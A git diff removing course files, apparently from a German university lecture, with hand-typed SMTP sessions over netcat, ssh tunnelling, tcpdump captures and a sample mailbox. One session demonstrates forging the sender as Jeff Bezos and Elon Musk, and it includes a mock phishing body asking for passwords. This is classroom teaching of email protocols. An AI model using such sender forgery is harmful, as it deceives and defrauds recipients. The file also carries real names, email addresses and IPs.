<peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -From: Prof. Dr. rer. nat. Peter Gerwinski <peter.gerwinski@hs-bochum.de> -To: Peter Gerwinski <peter@gerwinski.de> -Subject: Test - -Hallo, - -dies ist ein Test. - -Schöne Grüße! -. -250 OK id=1qyUuM-00GWUO-5J -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/smtp-02.txt b/20231102/smtp-02.txt deleted file mode 100644 index beb1e6cbcd0fdfe8c42c2365365a8a2e76c32a8d..0000000000000000000000000000000000000000 --- a/20231102/smtp-02.txt +++ /dev/null @@ -1,23 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:36:40 +0100 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <peter.gerwinski@hs-bochum.de> -250 OK -RCPT TO: <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -Content-Length: 5 -Subject: Punkt-Test - -vor dem Punkt -. -nach dem250 OK id=1qyV4V-00GXJw-Ld - Punkt -500 unrecognized command -Schade. -500 unrecognized command -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/smtp-03.txt b/20231102/smtp-03.txt deleted file mode 100644 index 8064665ea6fc3243d145e5478e8ed78476384dd9..0000000000000000000000000000000000000000 --- a/20231102/smtp-03.txt +++ /dev/null @@ -1,19 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:38:20 +0100 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <peter.gerwinski@hs-bochum.de> -250 OK -RCPT TO: <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -Lines: 5 - -vor dem Punkt -. -na250 OK id=1qyV6A-00GXPs-Gi -500 unrecognized command -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/smtp-04.txt b/20231102/smtp-04.txt deleted file mode 100644 index c9b77299a2c513b62598642b230ffd75cbca0772..0000000000000000000000000000000000000000 --- a/20231102/smtp-04.txt +++ /dev/null @@ -1,34 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:43:37 +0100 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: Jeff Bezos <bezos@amazon.com> -250 OK -RCPT TO: Peter Gerwinski <peter@gerwinski.de> -451-195.37.15.82 is not yet authorized to deliver mail from <bezos@amazon.com> -451 to <peter@gerwinski.de>. Please try later. -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:45:12 +0100 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: Jeff Bezos <bezos@amazon.com> -250 OK -RCPT TO: Peter Gerwinski <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -From: Elon Musk <musk@tesla.com> -To: Bill Gates <gates@microsoft.com> -Subject: Darlehensangebot - -Brauchen Sie schnell Geld? -Hier können Sie schnell Geld verlieren! -Hier klicken und sämtliche Passwörter eingeben: -[KLICK] -. -250 OK id=1qyVCl-00GXuG-JM -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/smtp-05.txt b/20231102/smtp-05.txt deleted file mode 100644 index 75f277e4bbfd2357a83784aeebecf642a285b2fe..0000000000000000000000000000000000000000 --- a/20231102/smtp-05.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 02 Nov 2023 11:51:13 +0100 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <bezos@amazon.com> -250 OK -RCPT TO: <peter.gerwinski@hs-bochum.de> -550 relay not permitted -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231102> diff --git a/20231102/ssh-01.txt b/20231102/ssh-01.txt deleted file mode 100644 index f1cd0ddc86e7ba32313e6254deac724fa6312b2f..0000000000000000000000000000000000000000 --- a/20231102/ssh-01.txt +++ /dev/null @@ -1,22 +0,0 @@ -pgerwinski@main-0:~$ nc -l -p 1234 -Hallo? -pgerwinski@main-0:~$ - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc main-0.cvh-server.de 1234 -main-0.cvh-server.de [88.99.194.201] 1234 (?) : Connection refused -cassini/home/peter> ssh main-0.cvh-server.de -Linux main-0 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Thu Nov 2 12:56:11 2023 from 195.37.15.82 -pgerwinski@main-0:~$ nc localhost 1234 -Hallo? -^C -pgerwinski@main-0:~$ diff --git a/20231102/ssh-02.txt b/20231102/ssh-02.txt deleted file mode 100644 index d73292005ae4c62e3985ba6f9e97512c2d66ee05..0000000000000000000000000000000000000000 --- a/20231102/ssh-02.txt +++ /dev/null @@ -1,17 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231102> ssh -X -L 2345:localhost:1234 main-0.cvh-server.de -Linux main-0 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Thu Nov 2 12:57:37 2023 from 195.37.15.82 -pgerwinski@main-0:~$ nc -l -p 1234 -Hallo, da bin ich! :-) - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc localhost 2345 -Hallo, da bin ich! :-) diff --git a/20231102/tcpdump-01.txt b/20231102/tcpdump-01.txt deleted file mode 100644 index 9d3062797bb76af40d943b7c788f4fca06960ca0..0000000000000000000000000000000000000000 --- a/20231102/tcpdump-01.txt +++ /dev/null @@ -1,21 +0,0 @@ -12:23:21.181037 IP 10.128.29.120.38042 > 195.37.15.39.22: Flags [P.], seq 3563445:3564597, ack 4140, win 501, length 1152 -12:23:21.181049 IP 195.37.15.39.22 > 10.128.29.120.38042: Flags [P.], seq 4140:4176, ack 3552141, win 5157, length 36 -12:23:21.181118 IP 195.37.15.39.22 > 10.128.29.120.38042: Flags [.], ack 3554577, win 5157, length 0 -12:23:21.181126 IP 195.37.15.39.22 > 10.128.29.120.38042: Flags [.], ack 3558097, win 5157, length 0 -12:23:21.182058 IP 195.37.15.39.22 > 10.128.29.120.38042: Flags [.], ack 3561017, win 5157, length 0 -12:23:21.182772 IP 195.37.15.39.22 > 10.128.29.120.38042: Flags [.], ack 3564597, win 5157, length 0 -12:23:21.189369 IP 10.128.29.120.36290 > 88.99.194.201.64738: UDP, length 101 -12:23:21.196348 IP 10.128.29.120.40313 > 88.99.194.245.443: Flags [P.], seq 274090:275179, ack 8103, win 2872, length 1089 -12:23:21.209739 IP 10.128.29.120.36290 > 88.99.194.201.64738: UDP, length 101 -12:23:21.222529 IP 10.128.29.120.38042 > 195.37.15.39.22: Flags [.], ack 4176, win 501, length 0 -12:23:21.223089 IP 88.99.194.245.443 > 10.128.29.120.40313: Flags [P.], seq 8103:8252, ack 275179, win 9243, length 149 -12:23:21.228356 IP 10.128.29.120.40313 > 88.99.194.245.443: Flags [P.], seq 275179:276140, ack 8252, win 2872, length 961 -12:23:21.230318 IP 10.128.29.120.36290 > 88.99.194.201.64738: UDP, length 101 -12:23:21.250856 IP 10.128.29.120.36290 > 88.99.194.201.64738: UDP, length 101 -12:23:21.257762 IP 88.99.194.245.443 > 10.128.29.120.40313: Flags [P.], seq 8252:8397, ack 276140, win 9243, length 145 -12:23:21.258390 IP 10.128.29.120.40313 > 88.99.194.245.443: Flags [P.], seq 276140:277241, ack 8397, win 2872, length 1101 -^C -5545 packets captured -5636 packets received by filter -0 packets dropped by kernel -cassini/root# tcpdump -n -i wlan0 diff --git a/20231102/tcpdump-02.txt b/20231102/tcpdump-02.txt deleted file mode 100644 index 9f8c9d4b51b93ddac6561f6a8a9ff2d1814bbcb4..0000000000000000000000000000000000000000 --- a/20231102/tcpdump-02.txt +++ /dev/null @@ -1,93 +0,0 @@ -12:26:16.721144 IP 10.128.29.120.36290 > 88.99.194.201.64738: UDP, length 102 - 0x0000: 45e0 0082 ad7c 4000 4011 48ea 0a80 1d78 - 0x0010: 5863 c2c9 8dc2 fce2 006e 7f77 e554 76a8 - 0x0020: 6ebc 46e3 aed0 e632 2a22 a62b 66b1 34c8 - 0x0030: 4465 dfef 8b40 7708 2129 11b4 3c03 f141 - 0x0040: f376 bfbc 830c 5ff6 c575 f5a1 9771 3d12 - 0x0050: 067e 4b1c f274 8b39 9a52 ac02 a31b 9df0 - 0x0060: 7501 61f7 68b5 e8e2 c7b2 3f7d 610a d16b - 0x0070: 78ab b056 31ff 76fb 9947 986c 40de 9fc6 - 0x0080: 559e -12:26:16.729240 IP 10.128.29.120.40313 > 88.99.194.245.443: Flags [P.], seq 58714:59895, ack 1628, win 2913, length 1181 - 0x0000: 4500 04c5 42a5 4000 4006 b03d 0a80 1d78 - 0x0010: 5863 c2f5 9d79 01bb ef86 2a4c b23f f7b0 - 0x0020: 5018 0b61 e620 0000 1703 0304 9800 0000 - 0x0030: 0000 033e 7dc7 4216 6e0d c0df 4358 f7f6 - 0x0040: ced5 c96c 9900 a44a 5dab 23b1 c190 5363 - 0x0050: 150a ee8d 86eb 516d 453b 0864 a391 e079 - 0x0060: f4cc b00e 2b1d d4e0 39f3 0d15 6571 a4c6 - 0x0070: e6af 732d 127c a63a 9401 00ef 312b 9365 - 0x0080: e137 3e12 1fb3 e7bd 9bc4 db8e d452 b0a1 - 0x0090: f76a 481f 2155 f22f 19a5 3d8e f7da 579d - 0x00a0: 3025 d2a8 680e d872 67f8 ac36 218a 28e9 - 0x00b0: e4ed 8dfc 65a0 94ec d467 5305 e4a0 d5ae - 0x00c0: e8c2 f366 f722 161d 20b2 f883 468a 65c1 - 0x00d0: 019a 9986 3955 3756 dcf6 0b4c 3718 8e9d - 0x00e0: aa71 3ef4 334d bc54 454b fe70 76c1 2e72 - 0x00f0: 318f 028c c106 5278 0514 c209 7a6e 862b - 0x0100: 16ce eea6 411a 2756 e2bd a972 a55b 1381 - 0x0110: f5df 618b 6369 13f6 12d0 2245 3870 831d - 0x0120: 3c3d 6d4b 038a d775 9736 f13b 7f8c 8f17 - 0x0130: 956f 36a9 a41b ae8b 4060 3f3b f57a c1d1 - 0x0140: 72d8 dfd5 95ba cf56 0f1e b70f 10ad a466 - 0x0150: 9d10 677f 1602 92b4 4f6c ed04 6555 a7a0 - 0x0160: ac94 addd 150d c955 ec93 2f33 8eb1 d689 - 0x0170: 88ee a417 e643 a396 eafe d8ed 5408 107d - 0x0180: 00f0 bdb4 d8db 6883 b109 f4eb d930 7f31 - 0x0190: 42bb 5e41 8a9b 8a22 e51f 6407 88f0 1e9f - 0x01a0: 014a 4c6b 17c5 fd9b 9382 c029 ab27 ce5d - 0x01b0: e922 0129 6ae9 60d9 e898 60ba 22be 138b - 0x01c0: 396d c9a7 34a6 211b 275d bbf8 df0d fe8f - 0x01d0: 4cd9 0c14 580e 77bd 1b94 43fb 5c31 9a37 - 0x01e0: d297 09e1 1b6e 5455 fbbc 5321 4621 5a80 - 0x01f0: ff5c 1747 4dce 4621 3525 797c 9a96 a2bf - 0x0200: 88b5 978c f9cc 3782 823c f344 229e 04ce - 0x0210: c964 72eb a7a6 4fef 4f14 d7c1 998f fd48 - 0x0220: 649e 9047 97a8 e4c5 b538 20ed 81f6 2820 - 0x0230: 9728 29e9 165c 6ded 0b9b 58ab 64d2 5e1d - 0x0240: 46cf 2394 0c2b f7f1 eda5 1e0e e4ed 72e5 - 0x0250: ff3a 8460 bea5 4b11 a85b ab8d 6d29 4747 - 0x0260: d240 4197 7225 5c97 c33c f724 36d0 2fb1 - 0x0270: 75c1 0991 9d0b 5c84 4955 e9d8 0dee 54fc - 0x0280: 2405 c69a b97b e831 3ba4 da08 1041 9b3b - 0x0290: 06c7 216a 1a47 6bc2 1b15 19d7 a214 9fe9 - 0x02a0: d4ac b6ff 1af9 6bb1 bfa5 a84f ed8c 0a43 - 0x02b0: fa1c 731c c2c1 3190 2833 0707 5745 36f9 - 0x02c0: 6d6b 355f 70d5 cbac 2662 6104 9020 3b8b - 0x02d0: 4e28 1c1b 7477 d40f 2c48 8456 9bb0 9c86 - 0x02e0: f176 f5fd 3e04 23fa 7bb3 aa12 47f2 94b6 - 0x02f0: 3d80 fe2f db2c 9854 e6da a3da 2c40 4b07 - 0x0300: 2079 d98e 52a6 f242 e088 3a5a faef c8fc - 0x0310: 4017 42ba a78f 2d72 0d7e 8941 bdcc ce3e - 0x0320: 8eb6 c030 08cb 3f68 8c2f 80df 2e90 d390 - 0x0330: d75f f575 dea3 b078 0ffd c8a4 35c2 f8ea - 0x0340: 381d 2014 7b11 6d58 78a6 6bf9 b770 1249 - 0x0350: 1766 b8a5 8943 3298 d0f3 5bad a329 ea2b - 0x0360: f061 7475 5ab7 e8fa 0dc9 85e0 c65b e1b8 - 0x0370: f7ca 726c a650 40e3 f88e 8d74 ad9e 2372 - 0x0380: 01f0 fe5a c278 9a3b 4aaf 8cee 8004 6739 - 0x0390: 7aea c8a4 a4af bff1 3837 a4be ffc3 8a4a - 0x03a0: 0740 f63f 347e bd07 fc3d 338d 3535 c61e - 0x03b0: ba22 f4c4 20fa 092c bbb6 03d7 03e0 9d22 - 0x03c0: b360 0e23 1b2b ed54 6d0e 6935 c30a c5ce - 0x03d0: 9c4f 6870 6b48 2083 a9ae cf7a 09b2 ffbf - 0x03e0: 5957 0030 eb89 12eb de08 56b6 25b3 f33c - 0x03f0: 7275 ceb6 cbd7 1f60 e8cf c362 dcef f06e - 0x0400: 5449 5204 aec4 c666 2743 0f51 51d1 442d - 0x0410: 3f78 eaf1 ce3e 1b91 5a44 3f11 fd73 9999 - 0x0420: 4afe bbc2 6a65 660a 4b73 0070 30c7 4798 - 0x0430: b6b3 0059 ded5 3ee4 6a38 751f a5a8 8350 - 0x0440: 849c 92fe b7b9 6f09 2ca8 72b0 4943 f247 - 0x0450: ec4d 62f1 8b9c 2fd4 2af9 a5e0 e6ba 5b39 - 0x0460: 3ccb 635d a6b5 757c 6743 de67 4d11 6af9 - 0x0470: 0337 b09b cf5c 76d8 58d4 9bea 5493 0d18 - 0x0480: bd1e 7d13 5351 2693 c3f1 ead8 5b64 065c - 0x0490: 51cc 5833 e73f 7290 d987 8454 24d2 8fad - 0x04a0: 94c0 55b5 d9f0 9ac3 2c69 d14c bfb7 5052 - 0x04b0: 2390 afc6 d666 8edb 7931 c7e9 1544 11da - 0x04c0: 7cbd 7647 a1 -^C -803 packets captured -817 packets received by filter -0 packets dropped by kernel -cassini/root# tcpdump -n -i wlan0 -x diff --git a/20231102/tcpdump-03.txt b/20231102/tcpdump-03.txt deleted file mode 100644 index 6fdcd95c7ec29cb13b58c5062950410ddcf42faa..0000000000000000000000000000000000000000 --- a/20231102/tcpdump-03.txt +++ /dev/null @@ -1,38 +0,0 @@ -cassini/root# tcpdump -n -i lo -x port 1234 -tcpdump: verbose output suppressed, use -v[v]... for full protocol decode -listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes -12:31:29.286657 IP 127.0.0.1.55462 > 127.0.0.1.1234: Flags [S], seq 3414759276, win 65495, options [mss 65495,sackOK,TS val 2171609293 ecr 0,nop,wscale 7], length 0 - 0x0000: 4500 003c 344e 4000 4006 086c 7f00 0001 - 0x0010: 7f00 0001 d8a6 04d2 cb89 176c 0000 0000 - 0x0020: a002 ffd7 fe30 0000 0204 ffd7 0402 080a - 0x0030: 8170 20cd 0000 0000 0103 0307 -12:31:29.286668 IP 127.0.0.1.1234 > 127.0.0.1.55462: Flags [S.], seq 1205734117, ack 3414759277, win 65483, options [mss 65495,sackOK,TS val 2171609293 ecr 2171609293,nop,wscale 7], length 0 - 0x0000: 4500 003c 0000 4000 4006 3cba 7f00 0001 - 0x0010: 7f00 0001 04d2 d8a6 47de 0ae5 cb89 176d - 0x0020: a012 ffcb fe30 0000 0204 ffd7 0402 080a - 0x0030: 8170 20cd 8170 20cd 0103 0307 -12:31:29.286679 IP 127.0.0.1.55462 > 127.0.0.1.1234: Flags [.], ack 1, win 512, options [nop,nop,TS val 2171609293 ecr 2171609293], length 0 - 0x0000: 4500 0034 344f 4000 4006 0873 7f00 0001 - 0x0010: 7f00 0001 d8a6 04d2 cb89 176d 47de 0ae6 - 0x0020: 8010 0200 fe28 0000 0101 080a 8170 20cd - 0x0030: 8170 20cd -12:31:53.307321 IP 127.0.0.1.55462 > 127.0.0.1.1234: Flags [P.], seq 1:8, ack 1, win 512, options [nop,nop,TS val 2171633313 ecr 2171609293], length 7 - 0x0000: 4500 003b 3450 4000 4006 086b 7f00 0001 - 0x0010: 7f00 0001 d8a6 04d2 cb89 176d 47de 0ae6 - 0x0020: 8018 0200 fe2f 0000 0101 080a 8170 7ea1 - 0x0030: 8170 20cd 4861 6c6c 6f3f 0a -12:31:53.307355 IP 127.0.0.1.1234 > 127.0.0.1.55462: Flags [.], ack 8, win 512, options [nop,nop,TS val 2171633313 ecr 2171633313], length 0 - 0x0000: 4500 0034 2140 4000 4006 1b82 7f00 0001 - 0x0010: 7f00 0001 04d2 d8a6 47de 0ae6 cb89 1774 - 0x0020: 8010 0200 fe28 0000 0101 080a 8170 7ea1 - 0x0030: 8170 7ea1 - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc localhost 1234 -Hallo? - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc -p 1234 -l -Hallo? diff --git a/20231102/tcpdump-04.txt b/20231102/tcpdump-04.txt deleted file mode 100644 index 9bccd52078ddff8ebdb0128e9292b7e15236ed31..0000000000000000000000000000000000000000 --- a/20231102/tcpdump-04.txt +++ /dev/null @@ -1,35 +0,0 @@ -cassini/root# tcpdump -n -i lo -A port 1234 -tcpdump: verbose output suppressed, use -v[v]... for full protocol decode -listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes -12:34:11.379210 IP 127.0.0.1.55462 > 127.0.0.1.1234: Flags [P.], seq 3414759284:3414759291, ack 1205734118, win 512, options [nop,nop,TS val 2171771385 ecr 2171633313], length 7 -E..;4Q@.@..j...............tG. -....../..... -.r...p~.Hallo. - -12:34:11.379228 IP 127.0.0.1.1234 > 127.0.0.1.55462: Flags [.], ack 7, win 512, options [nop,nop,TS val 2171771385 ecr 2171771385], length 0 -E..4!A@.@...............G. -....{.....(..... -.r...r.. -12:34:23.626460 IP 127.0.0.1.1234 > 127.0.0.1.55462: Flags [P.], seq 1:12, ack 7, win 512, options [nop,nop,TS val 2171783632 ecr 2171771385], length 11 -E..?!B@.@..u............G. -....{.....3..... -.r...r..Hier auch. - -12:34:23.626469 IP 127.0.0.1.55462 > 127.0.0.1.1234: Flags [.], ack 12, win 512, options [nop,nop,TS val 2171783632 ecr 2171783632], length 0 -E..44R@.@..p...............{G. -......(..... -.r...r.. - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc localhost 1234 -Hallo? -Hallo. -Hier auch. - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc -p 1234 -l -Hallo? -Hallo. -Hier auch. diff --git a/20231102/test.mbox b/20231102/test.mbox deleted file mode 100644 index 1a321011f9bb3ed31209c62c800b5be9a4fe288b..0000000000000000000000000000000000000000 --- a/20231102/test.mbox +++ /dev/null @@ -1,197 +0,0 @@ -From peter.gerwinski@hs-bochum.de Thu Nov 02 11:28:04 2023 -Return-path: <peter.gerwinski@hs-bochum.de> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 02 Nov 2023 11:28:04 +0100 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyUvX-004dnN-0r - for peter@phoenix.intern; - Thu, 02 Nov 2023 11:28:04 +0100 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qyUuM-00GWUO-5J - for peter@gerwinski.de; Thu, 02 Nov 2023 11:28:04 +0100 -From: Prof. Dr. rer. nat. Peter Gerwinski <peter.gerwinski@hs-bochum.de> -To: Peter Gerwinski <peter@gerwinski.de> -Subject: Test -Message-Id: <E1qyUvX-004dnN-0r@cassini> -Date: Thu, 02 Nov 2023 11:28:04 +0100 -Content-Length: 45 -Lines: 5 - -Hallo, - -dies ist ein Test. - -Schöne Grüße! - -From peter Thu Nov 2 11:30:14 2023 -MIME-Version: 1.0 -Received: from mail.hs-bochum.de [193.175.85.41] - by cassini with IMAP (fetchmail-6.4.37) - for <peter@localhost> (single-drop); Thu, 02 Nov 2023 11:30:14 +0100 (CET) -Received: from hsex02.hsbo.local (10.254.0.22) by hsex01.hsbo.local - (10.254.0.21) with Microsoft SMTP Server (version=TLS1_2, - cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.1258.25 via Mailbox - Transport; Thu, 2 Nov 2023 11:29:58 +0100 -Received: from hsex02.hsbo.local (10.254.0.22) by hsex02.hsbo.local - (10.254.0.22) with Microsoft SMTP Server (version=TLS1_2, - cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.1258.25; Thu, 2 Nov - 2023 11:29:56 +0100 -Received: from oms0.hs-bochum.de (193.175.85.64) by hsex02.hsbo.local - (10.254.0.22) with Microsoft SMTP Server id 15.2.1258.25 via Frontend - Transport; Thu, 2 Nov 2023 11:29:56 +0100 -Content-Transfer-Encoding: 7BIT -Content-Type: text/plain; charset="US-ASCII"; format=flowed -Received: from [10.128.25.43] (unknown [10.128.25.43]) - by oms0.hs-bochum.de (Oracle Communications Messaging Server 8.1.0.9.20210415 - 64bit (built Apr 15 2021)) - with ESMTPSA id <0S3H002BBRTWGK00@oms0.hs-bochum.de> for - peter.gerwinski@hs-bochum.de; Thu, 02 Nov 2023 11:29:56 +0100 (CET) -Sender: <maximilian.melchert@stud.hs-bochum.de> -Message-ID: <aafc01cc-8023-461c-96cf-221689b62d16@stud.hs-bochum.de> -Date: Thu, 2 Nov 2023 11:29:56 +0100 -User-Agent: Mozilla Thunderbird -Content-Language: de-DE, en-GB -To: Peter Gerwinski <peter.gerwinski@hs-bochum.de> -From: Max Melchert <maximilian.melchert@stud.hs-bochum.de> -Subject: Punkt-Test -Autocrypt: addr=maximilian.melchert@stud.hs-bochum.de; keydata= - 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 - HxLDAg== -Return-Path: maximilian.melchert@stud.hs-bochum.de -X-MS-Exchange-Organization-Network-Message-Id: ae5b0a43-6de8-41d2-7fd3-08dbdb8ea8f4 -X-MS-Exchange-Organization-AVStamp-Enterprise: 1.0 -X-MS-Exchange-Organization-AuthSource: hsex02.hsbo.local -X-MS-Exchange-Organization-AuthAs: Anonymous -X-MS-Exchange-Transport-EndToEndLatency: 00:00:01.2174139 -X-MS-Exchange-Processed-By-BccFoldering: 15.02.1258.025 